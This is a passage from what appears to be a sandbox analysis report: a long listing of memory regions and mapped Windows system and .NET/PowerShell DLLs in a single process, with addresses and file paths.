"c:\\windows\\system32\\shdocvw.dll") Region: id = 585 start_va = 0x7fefa5e0000 end_va = 0x7fefa636fff entry_point = 0x7fefa5e0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 586 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 587 start_va = 0x170000 end_va = 0x173fff entry_point = 0x170000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 588 start_va = 0x1b0000 end_va = 0x1b3fff entry_point = 0x1b0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 589 start_va = 0x250000 end_va = 0x27ffff entry_point = 0x250000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 590 start_va = 0x280000 end_va = 0x2e5fff entry_point = 0x280000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 591 start_va = 0x1e10000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 592 start_va = 0x7fef82d0000 end_va = 0x7fef82dbfff entry_point = 0x7fef82d0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 593 start_va = 0x7fef8d70000 end_va = 0x7fef8deffff entry_point = 0x7fef8d70000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 594 start_va = 0x7fef8e70000 end_va = 0x7fef8e7efff entry_point = 0x7fef8e70000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 595 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 596 start_va = 0x7fefd320000 end_va = 0x7fefd342fff entry_point = 0x7fefd320000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 597 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 598 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 599 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 600 start_va = 0x7fee5c80000 end_va = 0x7fee5d18fff entry_point = 0x7fee5c80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 601 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 602 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 603 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 604 start_va = 0x74e60000 end_va = 0x74f28fff entry_point = 0x74e60000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 605 start_va = 0x7fee2b60000 end_va = 0x7fee34fcfff entry_point = 0x7fee2b60000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 606 start_va = 0x1df0000 end_va = 0x1df2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 607 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 608 start_va = 0x1ea0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 609 start_va = 0x29c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 610 start_va = 0x2b70000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 611 start_va = 0x2c20000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 612 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 613 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 614 start_va = 0x7ff00050000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 615 start_va = 0x7ff000f0000 end_va = 0x7ff000fffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 616 start_va = 0x7ff00100000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 617 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 618 start_va = 0x2ca0000 end_va = 0x1ac9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 619 start_va = 0x1aca0000 end_va = 0x1b36ffff entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 620 start_va = 0x1b370000 end_va = 0x1b470fff entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 621 start_va = 0x1b550000 end_va = 0x1b5cffff entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 622 start_va = 0x7fee1c80000 end_va = 0x7fee2b5bfff entry_point = 0x7fee1c80000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 623 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 624 start_va = 0x1ec0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 625 start_va = 0x1b640000 end_va = 0x1b6bffff entry_point = 0x0 region_type = private name = "private_0x000000001b640000" filename = "" Region: id = 626 start_va = 0x1b6c0000 end_va = 0x1b9a1fff entry_point = 0x1b6c0000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 627 start_va = 0x7fee1190000 end_va = 0x7fee1241fff entry_point = 0x7fee1190000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 628 start_va = 0x7fee1250000 end_va = 0x7fee1c72fff entry_point = 0x7fee1250000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 629 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 630 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 631 start_va = 0x7fffff20000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 632 start_va = 0x7fee0630000 end_va = 0x7fee118cfff entry_point = 0x7fee0630000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 633 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 634 start_va = 0x1ed0000 end_va = 0x1ed2fff entry_point = 0x1ed0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 635 start_va = 0x2380000 end_va = 0x243ffff entry_point = 0x2380000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 636 start_va = 0x1b9b0000 end_va = 0x1baaffff entry_point = 0x0 region_type = private name = "private_0x000000001b9b0000" filename = "" Region: id = 637 start_va = 0x777a0000 end_va = 0x777a6fff entry_point = 0x777a0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 638 start_va = 0x1ee0000 end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 639 start_va = 0x1ff0000 end_va = 0x1ff4fff entry_point = 0x1ff0000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 640 start_va = 0x28d0000 end_va = 0x2910fff entry_point = 0x28d0000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 641 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 642 start_va = 0x2000000 end_va = 0x2007fff entry_point = 0x2000000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 643 start_va = 0x2010000 end_va = 0x2010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002010000" filename = "" Region: id = 644 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 645 start_va = 0x7fee00b0000 end_va = 0x7fee0194fff entry_point = 0x7fee00b0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 646 start_va = 0x7fee01a0000 end_va = 0x7fee0249fff entry_point = 0x7fee01a0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 647 start_va = 0x7fee0250000 end_va = 0x7fee0281fff entry_point = 0x7fee0250000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 648 start_va = 0x7fee0290000 end_va = 0x7fee02f8fff entry_point = 0x7fee0290000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 649 start_va = 0x7fee0300000 end_va = 0x7fee062dfff entry_point = 0x7fee0300000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 650 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 651 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 652 start_va = 0x7fedfd30000 end_va = 0x7fedfd6dfff entry_point = 0x7fedfd30000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 653 start_va = 0x7fedfd70000 end_va = 0x7fedfe87fff entry_point = 0x7fedfd70000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 654 start_va = 0x7fedfe90000 end_va = 0x7fee00a5fff entry_point = 0x7fedfe90000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 655 start_va = 0x2ac0000 end_va = 0x2b13fff entry_point = 0x2ac0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 656 start_va = 0x7fedf370000 end_va = 0x7fedf504fff entry_point = 0x7fedf370000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 657 start_va = 0x7fedf510000 end_va = 0x7fedf67bfff entry_point = 0x7fedf510000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 658 start_va = 0x7fedf680000 end_va = 0x7fedfd24fff entry_point = 0x7fedf680000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 659 start_va = 0x7fefae60000 end_va = 0x7fefae66fff entry_point = 0x7fefae60000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 660 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 661 start_va = 0x2920000 end_va = 0x2930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002920000" filename = "" Region: id = 662 start_va = 0x7fedf1e0000 end_va = 0x7fedf363fff entry_point = 0x7fedf1e0000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 663 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 664 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 665 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 666 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 667 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 668 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 669 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 670 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 671 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 672 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 673 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 674 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 675 start_va = 0x1bab0000 end_va = 0x1bbaffff entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 676 start_va = 0x2440000 end_va = 0x2440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 677 start_va = 0x1bbb0000 end_va = 0x1beaefff entry_point = 0x1bbb0000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 678 start_va = 0x7fede990000 end_va = 0x7fedf1dafff entry_point = 0x7fede990000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 679 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 680 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 681 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 682 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 683 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 684 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 685 start_va = 0x2b20000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 686 start_va = 0x2b30000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 687 start_va = 0x2b40000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 688 start_va = 0x2b50000 end_va = 0x2b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 689 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 690 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 691 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 799 start_va = 0x2b60000 end_va = 0x2b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 800 start_va = 0x2b80000 end_va = 0x2b81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b80000" filename = "" Region: id = 801 start_va = 0x1c010000 end_va = 0x1c99ffff entry_point = 0x0 region_type = private name = "private_0x000000001c010000" filename = "" Region: id = 802 start_va = 0x7fede670000 end_va = 0x7fede982fff entry_point = 0x7fede670000 region_type = mapped_file name = "microsoft.jscript.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\Microsoft.JScript.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.jscript\\71e40c479d779f2bf55bb925834e3cd3\\microsoft.jscript.ni.dll") Region: id = 803 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 804 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Region: id = 805 start_va = 0x7ff002a0000 end_va = 0x7ff002dffff entry_point = 0x0 region_type = private name = "private_0x000007ff002a0000" filename = "" Region: id = 806 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 807 start_va = 0x7fede520000 end_va = 0x7fede662fff entry_point = 0x7fede520000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 808 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 809 start_va = 0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 810 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 811 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 812 start_va = 0x1c9a0000 end_va = 0x1cbeffff entry_point = 0x0 region_type = private name = "private_0x000000001c9a0000" filename = "" Region: id = 813 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 814 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 815 start_va = 